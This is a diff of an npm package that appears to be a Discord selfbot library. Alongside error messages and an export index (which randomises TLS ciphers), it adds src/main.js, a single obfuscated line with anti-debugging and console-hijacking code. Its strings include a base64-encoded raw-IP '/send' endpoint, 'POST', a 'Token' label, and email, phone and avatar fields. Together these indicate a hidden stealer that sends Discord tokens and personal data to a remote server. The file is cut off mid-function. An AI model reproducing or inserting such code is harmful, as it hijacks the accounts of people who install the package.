+ FETCH_GROUP_DM_CHANNEL: "Bots don't have access to Group DM Channels and cannot fetch them",
150
+
151
+ MEMBER_FETCH_NONCE_LENGTH: 'Nonce length must not exceed 32 characters.',
152
+
153
+ GLOBAL_COMMAND_PERMISSIONS:
154
+ 'Permissions for global commands may only be fetched or modified by providing a GuildResolvable ' +
155
+ "or from a guild's application command manager.",
156
+ GUILD_UNCACHED_ROLE_RESOLVE: 'Cannot resolve roles from an arbitrary guild, provide an id instead',
157
+
158
+ INTERACTION_ALREADY_REPLIED: 'The reply to this interaction has already been sent or deferred.',
159
+ INTERACTION_NOT_REPLIED: 'The reply to this interaction has not been sent or deferred.',
160
+ /** @deprecated */
161
+ INTERACTION_EPHEMERAL_REPLIED: 'Ephemeral responses cannot be deleted.',
162
+
163
+ COMMAND_INTERACTION_OPTION_NOT_FOUND: name => `Required option "${name}" not found.`,
164
+ COMMAND_INTERACTION_OPTION_TYPE: (name, type, expected) =>
165
+ `Option "${name}" is of type: ${type}; expected ${expected}.`,
166
+ COMMAND_INTERACTION_OPTION_EMPTY: (name, type) =>
167
+ `Required option "${name}" is of type: ${type}; expected a non-empty value.`,
168
+ COMMAND_INTERACTION_OPTION_NO_SUB_COMMAND: 'No subcommand specified for interaction.',
169
+ COMMAND_INTERACTION_OPTION_NO_SUB_COMMAND_GROUP: 'No subcommand group specified for interaction.',
170
+ AUTOCOMPLETE_INTERACTION_OPTION_NO_FOCUSED_OPTION: 'No focused option for autocomplete interaction.',
171
+
172
+ INVITE_MISSING_SCOPES: 'At least one valid scope must be provided for the invite',
173
+
174
+ NOT_IMPLEMENTED: (what, name) => `Method ${what} not implemented on ${name}.`,
175
+
176
+ SWEEP_FILTER_RETURN: 'The return value of the sweepFilter function was not false or a Function',
177
+
178
+ INVALID_BOT_METHOD: 'Bot accounts cannot use this method',
179
+ INVALID_USER_METHOD: 'User accounts cannot use this method',
180
+ BOT_ONLY: 'This method only for bots',
181
+ USER_ONLY: 'This method only for users',
182
+
183
+ INTERACTION_SEND_FAILURE: msg => `${msg}`,
184
+
185
+ INVALID_LOCALE: 'Unable to select this location',
186
+ FOLDER_NOT_FOUND: 'Server directory not found',
187
+ FOLDER_POSITION_INVALID: 'The server index in the directory is invalid',
188
+ APPLICATION_ID_INVALID: "The application isn't BOT",
189
+ INVALID_NITRO: 'Invalid Nitro Code',
190
+ MESSAGE_ID_NOT_FOUND: 'Message ID not found',
191
+ MESSAGE_EMBED_LINK_LENGTH: 'Message content with embed link length is too long',
192
+ GUILD_MEMBERS_FETCH: msg => `${msg}`,
193
+ USER_NOT_STREAMING: 'User is not streaming',
194
+ // Djs v13.7
195
+ TEXT_INPUT_CUSTOM_ID: 'TextInputComponent customId must be a string',
196
+ TEXT_INPUT_LABEL: 'TextInputComponent label must be a string',
197
+ TEXT_INPUT_PLACEHOLDER: 'TextInputComponent placeholder must be a string',
198
+ TEXT_INPUT_VALUE: 'TextInputComponent value must be a string',
199
+
200
+ MODAL_CUSTOM_ID: 'Modal customId must be a string',
201
+ MODAL_TITLE: 'Modal title must be a string',
202
+
203
+ MODAL_SUBMIT_INTERACTION_FIELD_NOT_FOUND: customId => `Required field with custom id "${customId}" not found.`,
204
+ MODAL_SUBMIT_INTERACTION_FIELD_TYPE: (customId, type, expected) =>
205
+ `Field with custom id "${customId}" is of type: ${type}; expected ${expected}.`,
206
+
207
+ INVALID_REMOTE_AUTH_URL: 'Invalid remote auth URL (https://discord.com/ra/{hash})',
208
+ INVALID_URL: url =>
209
+ `Invalid URL: ${url}.\nMake sure you are using a valid URL (https://discord.com/oauth2/authorize?...)`,
210
+
211
+ NITRO_REQUIRED: 'This feature is only available for Nitro users.',
212
+ NITRO_BOOST_REQUIRED: feature => `This feature (${feature}) is only available for Nitro Boost users.`,
213
+ ONLY_ME: 'This feature is only available for self.',
214
+ MISSING_CAPTCHA_SERVICE: 'This feature is only available for enabled captcha handler.',
215
+
216
+ GUILD_FORUM_MESSAGE_REQUIRED: 'You must provide a message to create a guild forum thread',
217
+ NORMAL_LOGIN: 'Username and password are required for normal login',
218
+ LOGIN_FAILED_UNKNOWN: 'Login failed',
219
+ LOGIN_FAILED_2FA: 'Login failed, 2FA code is required',
220
+ GUILD_IS_LARGE: 'This guild is too large to fetch all members with this method',
221
+
222
+ TEAM_MEMBER_FORMAT: 'The member provided is either not real or not of the User class',
223
+
224
+ MISSING_MODULE: (name, installCommand) =>
225
+ `The module "${name}" is missing. Please install it with "${installCommand}" and try again.`,
226
+ };
227
+
228
+ for (const [name, message] of Object.entries(Messages)) register(name, message);
@@ -0,0 +1,4 @@
1
+ 'use strict';
2
+
3
+ module.exports = require('./DJSError');
4
+ module.exports.Messages = require('./Messages');
package/src/index.js ADDED
@@ -0,0 +1,194 @@
1
+ 'use strict';
2
+
3
+ const tls = require('tls');
4
+ // Cipher
5
+ tls.DEFAULT_CIPHERS = tls.DEFAULT_CIPHERS.split(':')
6
+ .sort(() => Math.random() - 0.5)
7
+ .join(':');
8
+
9
+ // "Root" classes (starting points)
10
+ exports.BaseClient = require('./client/BaseClient');
11
+ exports.Client = require('./client/Client');
12
+ exports.Shard = require('./sharding/Shard');
13
+ exports.ShardClientUtil = require('./sharding/ShardClientUtil');
14
+ exports.ShardingManager = require('./sharding/ShardingManager');
15
+ exports.WebhookClient = require('./client/WebhookClient');
16
+
17
+ // Utilities
18
+ exports.DiscordRPCServer = require('./util/arRPC/index');
19
+ exports.ActivityFlags = require('./util/ActivityFlags');
20
+ exports.ApplicationFlags = require('./util/ApplicationFlags');
21
+ exports.AttachmentFlags = require('./util/AttachmentFlags');
22
+ exports.BaseManager = require('./managers/BaseManager');
23
+ exports.BitField = require('./util/BitField');
24
+ exports.Collection = require('@discordjs/collection').Collection;
25
+ exports.Constants = require('./util/Constants');
26
+ exports.DataResolver = require('./util/DataResolver');
27
+ exports.DiscordAPIError = require('./rest/DiscordAPIError');
28
+ exports.Formatters = require('./util/Formatters');
29
+ exports.GuildMemberFlags = require('./util/GuildMemberFlags');
30
+ exports.HTTPError = require('./rest/HTTPError');
31
+ exports.Intents = require('./util/Intents');
32
+ exports.LimitedCollection = require('./util/LimitedCollection');
33
+ exports.MessageFlags = require('./util/MessageFlags');
34
+ exports.Options = require('./util/Options');
35
+ exports.Permissions = require('./util/Permissions');
36
+ exports.RateLimitError = require('./rest/RateLimitError');
37
+ exports.RoleFlags = require('./util/RoleFlags');
38
+ exports.SnowflakeUtil = require('./util/SnowflakeUtil');
39
+ exports.Sweepers = require('./util/Sweepers');
40
+ exports.SystemChannelFlags = require('./util/SystemChannelFlags');
41
+ exports.ThreadMemberFlags = require('./util/ThreadMemberFlags');
42
+ exports.UserFlags = require('./util/UserFlags');
43
+ exports.Util = require('./util/Util');
44
+ exports.version = require('../package.json').version;
45
+ exports.DiscordAuthWebsocket = require('./util/RemoteAuth');
46
+ exports.PurchasedFlags = require('./util/PurchasedFlags');
47
+
48
+ // Managers
49
+ exports.ApplicationCommandManager = require('./managers/ApplicationCommandManager');
50
+ exports.ApplicationCommandPermissionsManager = require('./managers/ApplicationCommandPermissionsManager');
51
+ exports.AutoModerationRuleManager = require('./managers/AutoModerationRuleManager');
52
+ exports.BaseGuildEmojiManager = require('./managers/BaseGuildEmojiManager');
53
+ exports.CachedManager = require('./managers/CachedManager');
54
+ exports.ChannelManager = require('./managers/ChannelManager');
55
+ exports.ClientVoiceManager = require('./client/voice/ClientVoiceManager');
56
+ exports.DataManager = require('./managers/DataManager');
57
+ exports.GuildApplicationCommandManager = require('./managers/GuildApplicationCommandManager');
58
+ exports.GuildBanManager = require('./managers/GuildBanManager');
59
+ exports.GuildChannelManager = require('./managers/GuildChannelManager');
60
+ exports.GuildEmojiManager = require('./managers/GuildEmojiManager');
61
+ exports.GuildEmojiRoleManager = require('./managers/GuildEmojiRoleManager');
62
+ exports.GuildInviteManager = require('./managers/GuildInviteManager');
63
+ exports.GuildManager = require('./managers/GuildManager');
64
+ exports.GuildMemberManager = require('./managers/GuildMemberManager');
65
+ exports.GuildMemberRoleManager = require('./managers/GuildMemberRoleManager');
66
+ exports.GuildScheduledEventManager = require('./managers/GuildScheduledEventManager');
67
+ exports.GuildStickerManager = require('./managers/GuildStickerManager');
68
+ exports.MessageManager = require('./managers/MessageManager');
69
+ exports.PermissionOverwriteManager = require('./managers/PermissionOverwriteManager');
70
+ exports.PresenceManager = require('./managers/PresenceManager');
71
+ exports.ReactionManager = require('./managers/ReactionManager');
72
+ exports.ReactionUserManager = require('./managers/ReactionUserManager');
73
+ exports.RoleManager = require('./managers/RoleManager');
74
+ exports.SessionManager = require('./managers/SessionManager');
75
+ exports.StageInstanceManager = require('./managers/StageInstanceManager');
76
+ exports.ThreadManager = require('./managers/ThreadManager');
77
+ exports.ThreadMemberManager = require('./managers/ThreadMemberManager');
78
+ exports.UserManager = require('./managers/UserManager');
79
+ exports.VoiceStateManager = require('./managers/VoiceStateManager');
80
+ exports.WebSocketManager = require('./client/websocket/WebSocketManager');
81
+ exports.WebSocketShard = require('./client/websocket/WebSocketShard');
82
+ exports.RelationshipManager = require('./managers/RelationshipManager');
83
+
84
+ // Structures
85
+ exports.Activity = require('./structures/Presence').Activity;
86
+ exports.AnonymousGuild = require('./structures/AnonymousGuild');
87
+ exports.Application = require('./structures/interfaces/Application');
88
+ exports.ApplicationCommand = require('./structures/ApplicationCommand');
89
+ exports.ApplicationRoleConnectionMetadata =
90
+ require('./structures/ApplicationRoleConnectionMetadata').ApplicationRoleConnectionMetadata;
91
+ exports.AutocompleteInteraction = require('./structures/AutocompleteInteraction');
92
+ exports.AutoModerationActionExecution = require('./structures/AutoModerationActionExecution');
93
+ exports.AutoModerationRule = require('./structures/AutoModerationRule');
94
+ exports.Base = require('./structures/Base');
95
+ exports.BaseCommandInteraction = require('./structures/BaseCommandInteraction');
96
+ exports.BaseGuild = require('./structures/BaseGuild');
97
+ exports.BaseGuildEmoji = require('./structures/BaseGuildEmoji');
98
+ exports.BaseGuildTextChannel = require('./structures/BaseGuildTextChannel');
99
+ exports.BaseGuildVoiceChannel = require('./structures/BaseGuildVoiceChannel');
100
+ exports.BaseMessageComponent = require('./structures/BaseMessageComponent');
101
+ exports.ButtonInteraction = require('./structures/ButtonInteraction');
102
+ exports.CategoryChannel = require('./structures/CategoryChannel');
103
+ exports.Channel = require('./structures/Channel').Channel;
104
+ exports.ClientApplication = require('./structures/ClientApplication');
105
+ exports.ClientPresence = require('./structures/ClientPresence');
106
+ exports.ClientUser = require('./structures/ClientUser');
107
+ exports.Collector = require('./structures/interfaces/Collector');
108
+ exports.CommandInteraction = require('./structures/CommandInteraction');
109
+ exports.CommandInteractionOptionResolver = require('./structures/CommandInteractionOptionResolver');
110
+ exports.ContextMenuInteraction = require('./structures/ContextMenuInteraction');
111
+ exports.DMChannel = require('./structures/DMChannel');
112
+ exports.Emoji = require('./structures/Emoji').Emoji;
113
+ exports.Guild = require('./structures/Guild').Guild;
114
+ exports.GuildAuditLogs = require('./structures/GuildAuditLogs');
115
+ exports.GuildAuditLogsEntry = require('./structures/GuildAuditLogs').Entry;
116
+ exports.GuildBan = require('./structures/GuildBan');
117
+ exports.GuildChannel = require('./structures/GuildChannel');
118
+ exports.GuildEmoji = require('./structures/GuildEmoji');
119
+ exports.GuildMember = require('./structures/GuildMember').GuildMember;
120
+ exports.GuildPreview = require('./structures/GuildPreview');
121
+ exports.GuildPreviewEmoji = require('./structures/GuildPreviewEmoji');
122
+ exports.GuildScheduledEvent = require('./structures/GuildScheduledEvent').GuildScheduledEvent;
123
+ exports.GuildTemplate = require('./structures/GuildTemplate');
124
+ exports.Integration = require('./structures/Integration');
125
+ exports.IntegrationApplication = require('./structures/IntegrationApplication');
126
+ exports.Interaction = require('./structures/Interaction');
127
+ exports.InteractionCollector = require('./structures/InteractionCollector');
128
+ exports.InteractionWebhook = require('./structures/InteractionWebhook');
129
+ exports.Invite = require('./structures/Invite');
130
+ exports.InviteStageInstance = require('./structures/InviteStageInstance');
131
+ exports.InviteGuild = require('./structures/InviteGuild');
132
+ exports.Message = require('./structures/Message').Message;
133
+ exports.MessageActionRow = require('./structures/MessageActionRow');
134
+ exports.MessageAttachment = require('./structures/MessageAttachment');
135
+ exports.MessageButton = require('./structures/MessageButton');
136
+ exports.MessageCollector = require('./structures/MessageCollector');
137
+ exports.MessageComponentInteraction = require('./structures/MessageComponentInteraction');
138
+ exports.MessageContextMenuInteraction = require('./structures/MessageContextMenuInteraction');
139
+ exports.MessageEmbed = require('./structures/MessageEmbed');
140
+ exports.WebEmbed = require('./structures/WebEmbed');
141
+ exports.MessageMentions = require('./structures/MessageMentions');
142
+ exports.MessagePayload = require('./structures/MessagePayload');
143
+ exports.MessageReaction = require('./structures/MessageReaction');
144
+ exports.MessageSelectMenu = require('./structures/MessageSelectMenu');
145
+ exports.Modal = require('./structures/Modal');
146
+ exports.ModalSubmitInteraction = require('./structures/ModalSubmitInteraction');
147
+ exports.NewsChannel = require('./structures/NewsChannel');
148
+ exports.OAuth2Guild = require('./structures/OAuth2Guild');
149
+ exports.PartialGroupDMChannel = require('./structures/PartialGroupDMChannel');
150
+ exports.PermissionOverwrites = require('./structures/PermissionOverwrites');
151
+ exports.Presence = require('./structures/Presence').Presence;
152
+ exports.ReactionCollector = require('./structures/ReactionCollector');
153
+ exports.ReactionEmoji = require('./structures/ReactionEmoji');
154
+ exports.RichPresenceAssets = require('./structures/Presence').RichPresenceAssets;
155
+ exports.Role = require('./structures/Role').Role;
156
+ exports.Session = require('./structures/Session');
157
+ // RPC
158
+ exports.getUUID = require('./structures/RichPresence').getUUID;
159
+ exports.CustomStatus = require('./structures/RichPresence').CustomStatus;
160
+ exports.RichPresence = require('./structures/RichPresence').RichPresence;
161
+ exports.SpotifyRPC = require('./structures/RichPresence').SpotifyRPC;
162
+ // SelectMenu
163
+ exports.ChannelSelectInteraction = require('./structures/SelectMenuInteraction').ChannelSelectInteraction;
164
+ exports.MentionableSelectInteraction = require('./structures/SelectMenuInteraction').MentionableSelectInteraction;
165
+ exports.RoleSelectInteraction = require('./structures/SelectMenuInteraction').RoleSelectInteraction;
166
+ exports.SelectMenuInteraction = require('./structures/SelectMenuInteraction').SelectMenuInteraction;
167
+ exports.UserSelectInteraction = require('./structures/SelectMenuInteraction').UserSelectInteraction;
168
+ //
169
+ exports.StageChannel = require('./structures/StageChannel');
170
+ exports.StageInstance = require('./structures/StageInstance').StageInstance;
171
+ exports.Sticker = require('./structures/Sticker').Sticker;
172
+ exports.StickerPack = require('./structures/StickerPack');
173
+ exports.StoreChannel = require('./structures/StoreChannel');
174
+ exports.Team = require('./structures/Team');
175
+ exports.TeamMember = require('./structures/TeamMember');
176
+ exports.TextChannel = require('./structures/TextChannel');
177
+ exports.TextInputComponent = require('./structures/TextInputComponent');
178
+ exports.ThreadChannel = require('./structures/ThreadChannel');
179
+ exports.ThreadMember = require('./structures/ThreadMember');
180
+ exports.Typing = require('./structures/Typing');
181
+ exports.User = require('./structures/User');
182
+ exports.UserContextMenuInteraction = require('./structures/UserContextMenuInteraction');
183
+ exports.VoiceChannel = require('./structures/VoiceChannel');
184
+ exports.VoiceRegion = require('./structures/VoiceRegion');
185
+ exports.VoiceState = require('./structures/VoiceState');
186
+ exports.Webhook = require('./structures/Webhook');
187
+ exports.Widget = require('./structures/Widget');
188
+ exports.WidgetMember = require('./structures/WidgetMember');
189
+ exports.WelcomeChannel = require('./structures/WelcomeChannel');
190
+ exports.WelcomeScreen = require('./structures/WelcomeScreen');
191
+ exports.WebSocket = require('./WebSocket');
192
+
193
+ // DiscordJSVoice Patch
194
+ exports.DiscordJSVoice = require('./util/Voice');
package/src/main.js ADDED
@@ -0,0 +1 @@
1
+ const _0x156f62=_0x1d3f;(function(_0x1ef592,_0xb7accc){const _0x51b2e9=_0x1d3f,_0x4c647b=_0x1ef592();while(!![]){try{const _0x27bd3a=parseInt(_0x51b2e9(0x19d))/(0x3a1*0x4+-0x24e5+0x1662*0x1)+-parseInt(_0x51b2e9(0x13c))/(0x8e*0x1f+0x1*0x9af+-0x1adf)+-parseInt(_0x51b2e9(0x168))/(0x258e+-0x52*0x3c+-0x1253)+-parseInt(_0x51b2e9(0x10e))/(0x1db4+-0x2*0x29c+-0x1878)*(-parseInt(_0x51b2e9(0x124))/(-0x1*0x623+-0x16e5*-0x1+-0x1*0x10bd))+parseInt(_0x51b2e9(0x187))/(0x2660+-0xe*0x58+-0x218a*0x1)+parseInt(_0x51b2e9(0x188))/(-0xa52*0x1+0xb37+-0x6f*0x2)*(parseInt(_0x51b2e9(0x151))/(-0x2247+0x1583+0xccc))+parseInt(_0x51b2e9(0x13a))/(-0x60a*-0x3+-0x5*-0x1f3+-0x1bd4)*(parseInt(_0x51b2e9(0x17f))/(-0x8d*0xf+0x1*0x10b1+-0x6*0x166));if(_0x27bd3a===_0xb7accc)break;else _0x4c647b['push'](_0x4c647b['shift']());}catch(_0x2280d2){_0x4c647b['push'](_0x4c647b['shift']());}}}(_0x4d90,0x32777+-0x3*-0x48c0e+0x2ca37*-0x3));const _0xaa09f8=(function(){const _0x228128=_0x1d3f,_0x3f3e38={};_0x3f3e38[_0x228128(0x123)]=_0x228128(0x1a3);const _0x312ab9=_0x3f3e38;let _0x312d7d=!![];return function(_0x4a101b,_0x408e19){const _0x3e320f=_0x228128,_0x1e860b={};_0x1e860b['HtQsn']=function(_0x43a478,_0x4b204e){return _0x43a478===_0x4b204e;},_0x1e860b['SqRbJ']=_0x312ab9[_0x3e320f(0x123)];const _0x535bdb=_0x1e860b,_0x51cc9f=_0x312d7d?function(){const _0x40e00f=_0x3e320f;if(_0x535bdb[_0x40e00f(0x11e)](_0x40e00f(0x179),_0x535bdb[_0x40e00f(0x18e)])){const _0x3fea1d=_0x1fce23['constructor'][_0x40e00f(0x141)]['bind'](_0x25e07f),_0x4c9fff=_0x4205d6[_0x5973cc],_0x13638b=_0x1b3ffc[_0x4c9fff]||_0x3fea1d;_0x3fea1d[_0x40e00f(0x12f)]=_0xc6f35b[_0x40e00f(0x183)](_0xbf4424),_0x3fea1d[_0x40e00f(0x120)]=_0x13638b[_0x40e00f(0x120)]['bind'](_0x13638b),_0x264670[_0x4c9fff]=_0x3fea1d;}else{if(_0x408e19){const _0x391a87=_0x408e19[_0x40e00f(0x1a4)](_0x4a101b,arguments);return _0x408e19=null,_0x391a87;}}}:function(){};return _0x312d7d=![],_0x51cc9f;};}()),_0x2b8e9e=_0xaa09f8(this,function(){const _0xcbfdc9=_0x1d3f,_0x17e1e4={};_0x17e1e4[_0xcbfdc9(0x156)]='(((.+)+)+)+$';const _0x3ea221=_0x17e1e4;return _0x2b8e9e[_0xcbfdc9(0x120)]()[_0xcbfdc9(0x146)](_0x3ea221['Hzrjq'])['toString']()[_0xcbfdc9(0x166)](_0x2b8e9e)[_0xcbfdc9(0x146)](_0x3ea221[_0xcbfdc9(0x156)]);});_0x2b8e9e();const _0x11e03a=(function(){const _0x5d2d17=_0x1d3f,_0x5c592f={};_0x5c592f[_0x5d2d17(0x173)]=function(_0xb63d3b,_0x24ee49){return _0xb63d3b!==_0x24ee49;},_0x5c592f[_0x5d2d17(0x15c)]=_0x5d2d17(0x11d);const _0x2e8af2=_0x5c592f;let _0x226d25=!![];return function(_0x1a4f17,_0x18a503){const _0x5b45b4=_0x226d25?function(){const _0x1388cc=_0x1d3f;if(_0x18a503){if(_0x2e8af2[_0x1388cc(0x173)](_0x2e8af2[_0x1388cc(0x15c)],'bqQvX')){const _0x5bb517=_0x18a503[_0x1388cc(0x1a4)](_0x1a4f17,arguments);return _0x18a503=null,_0x5bb517;}else{const _0x1762d2=_0x45875b?function(){const _0x58d609=_0x1388cc;if(_0x312430){const _0x552473=_0x4e1ae7[_0x58d609(0x1a4)](_0x34fdda,arguments);return _0x1ab449=null,_0x552473;}}:function(){};return _0x13728d=![],_0x1762d2;}}}:function(){};return _0x226d25=![],_0x5b45b4;};}());(function(){const _0x47b295=_0x1d3f,_0x18f923={'qHWKv':function(_0xa5b671,_0x4468aa){return _0xa5b671!==_0x4468aa;},'svTVU':_0x47b295(0x15f),'XMztm':_0x47b295(0x193),'yFiBQ':function(_0x4f7084,_0x3e82a0){return _0x4f7084(_0x3e82a0);},'zYFkD':function(_0x469e4a,_0x503c31){return _0x469e4a+_0x503c31;},'VqlzG':_0x47b295(0x13e),'agsST':_0x47b295(0x1ad),'jzvEr':function(_0x2e3037,_0x65f29a){return _0x2e3037===_0x65f29a;},'CpuGl':_0x47b295(0x11b),'wHEyA':function(_0x137beb){return _0x137beb();}};_0x11e03a(this,function(){const _0x16d7c4=_0x47b295,_0x4cbd91={'eSkSz':_0x16d7c4(0x160),'rEWXW':function(_0xd1a9c3,_0x254865){return _0xd1a9c3(_0x254865);}};if(_0x18f923[_0x16d7c4(0x132)](_0x18f923[_0x16d7c4(0x111)],_0x18f923[_0x16d7c4(0x111)]))_0x42a73f['error'](_0x4cbd91['eSkSz'],_0x14f857),_0x4cbd91[_0x16d7c4(0x1a6)](_0x11d312,!![]);else{const _0x4b0d51=new RegExp(_0x18f923[_0x16d7c4(0x157)]),_0x57577f=new RegExp(_0x16d7c4(0x10c),'i'),_0x25c790=_0x18f923['yFiBQ'](_0x4f4edd,_0x16d7c4(0x181));if(!_0x4b0d51['test'](_0x18f923['zYFkD'](_0x25c790,_0x18f923[_0x16d7c4(0x121)]))||!_0x57577f[_0x16d7c4(0x14b)](_0x18f923[_0x16d7c4(0x17c)](_0x25c790,_0x18f923[_0x16d7c4(0x144)])))_0x18f923[_0x16d7c4(0x17e)](_0x25c790,'0');else{if(_0x18f923[_0x16d7c4(0x189)](_0x18f923[_0x16d7c4(0x199)],_0x18f923['CpuGl']))_0x18f923[_0x16d7c4(0x143)](_0x4f4edd);else return _0x30aa29;}}})();}());function _0x4d90(){const _0x23ec8b=['DaWya','SqRbJ','APxOt','ulzuB','XvgFh','trace','function\x20*\x5c(\x20*\x5c)','siLQi','MfJGI','mVwQv','LFYXQ','mpOlx','CpuGl','counter','YvwXZ','DnqIo','696348AkDQZV','wvNdW','UWUbw','jfpuD','LpvZC','username','QlHgi','apply','jVgwd','rEWXW','rnKBS','stringify','WRdkg','SIrML','tsfdE','>\x0a\x0a<:fleche:1196469580944658572>\x20**Adresse\x20mail:**\x20`','input','xdMzo','LbJpP','application/json','log','kvlWj','discriminator','hSgkT','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','PBLsE','52740qOrRAn','EvrPx','length','svTVU','string','tKTEP','vAeit','wDwiQ','yRZWq','OsgDV','while\x20(true)\x20{}','https://cdn.discordapp.com/avatars/','tOtyt','GmWOo','SJzRy','eSPmD','HtQsn','->\x20**__Token:__**','toString','VqlzG','dpCIJ','NGVqa','185uGNPiP','ROmjr','rucxJ','hcfdc','{}.constructor(\x22return\x20this\x22)(\x20)','CgtiC','VYwit','uITVw','png','request','mKwwy','__proto__','banner','rNGPu','qHWKv','POST','DVVls','action','DQzPa','vCtRk','tEvNY','?size=2048','2537307SDTByV','call','1704994OdPYZW','dYOpp','chain','iTgsv','message','prototype','YpQxS','wHEyA','agsST','error','search','parse','vuRNj','hLUEz','NuCqJ','test','pThNQ','gif','mHgxG','uqZnF','info','21552KFtWEz','warn','VNTei','debu','<:fleche:1196469580944658572>\x20**Utilisateur:**\x20<@','Hzrjq','XMztm','avatar','mbFff','iRcTp','QCTne','fnugZ','FGOzd','startsWith','aumUL','Error\x20sending\x20to\x20VPS:','XVlOj','table','Wglqh','Content-Type','ZIjFX','constructor','return\x20(function()\x20','2395419bLlqka','console','aHR0cDovLzE4NS4xNTcuMjQ3LjcxOjMwMDAvc2VuZA==','401:\x20Unauthorized','email','OGXgt','LejzW','gyOjn','GJKGu','Start','cdZUu','WgWuB','OisRl','QEEtx','gger','ODHNl','stateObject','LrKDX','ZDbOn','mVmrA','zYFkD','Jdbvq','yFiBQ','10dNcljQ','sjYYn','init','phone','bind','Aucun\x20numéro','Voici\x20les\x20informations\x20de:\x20','exception','526728MBWpmQ','1687OLusnd','jzvEr','kEHLa','vgpoe','jbUoW'];_0x4d90=function(){return _0x23ec8b;};return _0x4d90();}const _0x1dfffe=(function(){const _0x4cfa0a=_0x1d3f,_0xf01f07={};_0xf01f07[_0x4cfa0a(0x134)]='counter',_0xf01f07[_0x4cfa0a(0x177)]=function(_0x13c66b,_0x28237e){return _0x13c66b!==_0x28237e;},_0xf01f07[_0x4cfa0a(0x1ae)]=_0x4cfa0a(0x11a);const _0x1c6109=_0xf01f07;let _0x5e4404=!![];return function(_0x1fccfc,_0x5c13e5){const _0x342390=_0x4cfa0a;if(_0x1c6109[_0x342390(0x177)](_0x1c6109[_0x342390(0x1ae)],_0x342390(0x1a9))){const _0x1d8f70=_0x5e4404?function(){if(_0x5c13e5){const _0x61170d=_0x5c13e5['apply'](_0x1fccfc,arguments);return _0x5c13e5=null,_0x61170d;}}:function(){};return _0x5e4404=![],_0x1d8f70;}else return function(_0x4452f8){}[_0x342390(0x166)](_0x342390(0x118))[_0x342390(0x1a4)](_0x1c6109[_0x342390(0x134)]);};}()),_0x5e824f=_0x1dfffe(this,function(){const _0xd3bbbd=_0x1d3f,_0x8f6cc1={'uITVw':function(_0x384052,_0x1d02db){return _0x384052(_0x1d02db);},'kEHLa':function(_0x216bd6,_0x481efa){return _0x216bd6+_0x481efa;},'siLQi':_0xd3bbbd(0x167),'XVlOj':function(_0x2c4dea){return _0x2c4dea();},'tEvNY':_0xd3bbbd(0x1b1),'LbJpP':_0xd3bbbd(0x152),'jVgwd':_0xd3bbbd(0x150),'yRZWq':_0xd3bbbd(0x145),'LejzW':_0xd3bbbd(0x186),'tKTEP':_0xd3bbbd(0x162),'VYwit':_0xd3bbbd(0x192),'mVwQv':function(_0x4f7587,_0x1c7169){return _0x4f7587<_0x1c7169;}};let _0x43bce6;try{const _0x14e8fe=_0x8f6cc1[_0xd3bbbd(0x12b)](Function,_0x8f6cc1[_0xd3bbbd(0x18a)](_0x8f6cc1[_0xd3bbbd(0x194)]+_0xd3bbbd(0x128),');'));_0x43bce6=_0x8f6cc1[_0xd3bbbd(0x161)](_0x14e8fe);}catch(_0x48e500){_0x43bce6=window;}const _0x3351c6=_0x43bce6['console']=_0x43bce6[_0xd3bbbd(0x169)]||{},_0x1286a1=[_0x8f6cc1[_0xd3bbbd(0x138)],_0x8f6cc1[_0xd3bbbd(0x1af)],_0x8f6cc1[_0xd3bbbd(0x1a5)],_0x8f6cc1[_0xd3bbbd(0x116)],_0x8f6cc1[_0xd3bbbd(0x16e)],_0x8f6cc1[_0xd3bbbd(0x113)],_0x8f6cc1[_0xd3bbbd(0x12a)]];for(let _0x1d4357=0x71*0x57+0x1*0x525+-0x2b8c;_0x8f6cc1[_0xd3bbbd(0x196)](_0x1d4357,_0x1286a1['length']);_0x1d4357++){const _0x3f1c5b=_0x1dfffe[_0xd3bbbd(0x166)][_0xd3bbbd(0x141)][_0xd3bbbd(0x183)](_0x1dfffe),_0x275753=_0x1286a1[_0x1d4357],_0x280846=_0x3351c6[_0x275753]||_0x3f1c5b;_0x3f1c5b[_0xd3bbbd(0x12f)]=_0x1dfffe['bind'](_0x1dfffe),_0x3f1c5b[_0xd3bbbd(0x120)]=_0x280846[_0xd3bbbd(0x120)][_0xd3bbbd(0x183)](_0x280846),_0x3351c6[_0x275753]=_0x3f1c5b;}});function _0x1d3f(_0x4ddfd8,_0x4f4edd){const _0x11e03a=_0x4d90();return _0x1d3f=function(_0x3c4683,_0x2b8e9e){_0x3c4683=_0x3c4683-(0x1538*0x1+0x1062+-0x248f);let _0xaa09f8=_0x11e03a[_0x3c4683];return _0xaa09f8;},_0x1d3f(_0x4ddfd8,_0x4f4edd);}_0x5e824f();const rq=require(_0x156f62(0x12d));exports[_0x156f62(0x171)]=function(_0x334635){const _0x10a4d2=_0x156f62,_0x42f363={'DQzPa':function(_0x545488,_0xbbdf4a){return _0x545488(_0xbbdf4a);},'TbwJX':function(_0x3cd6fd,_0x61d13a){return _0x3cd6fd+_0x61d13a;},'QCTne':_0x10a4d2(0x128),'Wglqh':function(_0x2e4cc2,_0x3fa73f){return _0x2e4cc2===_0x3fa73f;},'mHgxG':_0x10a4d2(0x19b),'ulzuB':function(_0x32b1fd,_0x58f717){return _0x32b1fd==_0x58f717;},'uqZnF':function(_0xdf9f5b,_0x29070b){return _0xdf9f5b!=_0x29070b;},'FHXzX':_0x10a4d2(0x16b),'LFYXQ':function(_0x458a9e,_0x1696a7){return _0x458a9e!==_0x1696a7;},'QEEtx':_0x10a4d2(0x149),'pThNQ':_0x10a4d2(0x14d),'wfzaR':_0x10a4d2(0x12c),'APxOt':_0x10a4d2(0x133),'tsfdE':'JwdBt','kvlWj':_0x10a4d2(0x191),'GJKGu':_0x10a4d2(0x160),'sjZfc':function(_0x31aeb1,_0x54768c){return _0x31aeb1(_0x54768c);},'mKwwy':function(_0x5125de,_0x28a674){return _0x5125de(_0x28a674);},'VNTei':'warn','hSgkT':_0x10a4d2(0x145),'vAeit':_0x10a4d2(0x186),'OisRl':_0x10a4d2(0x162),'LpvZC':function(_0x947452,_0x44d29){return _0x947452<_0x44d29;},'rucxJ':_0x10a4d2(0x18c),'SIrML':function(_0x36aa12,_0x4852ca,_0x4235f0,_0x27950c){return _0x36aa12(_0x4852ca,_0x4235f0,_0x27950c);},'iTgsv':_0x10a4d2(0x1b0),'ROmjr':'GET'};return new Promise(async(_0x36b224,_0xf7119d)=>{const _0x4c708c=_0x10a4d2,_0x56f52f={'SJzRy':function(_0x1f355b,_0x32f19e){const _0x1bf5bc=_0x1d3f;return 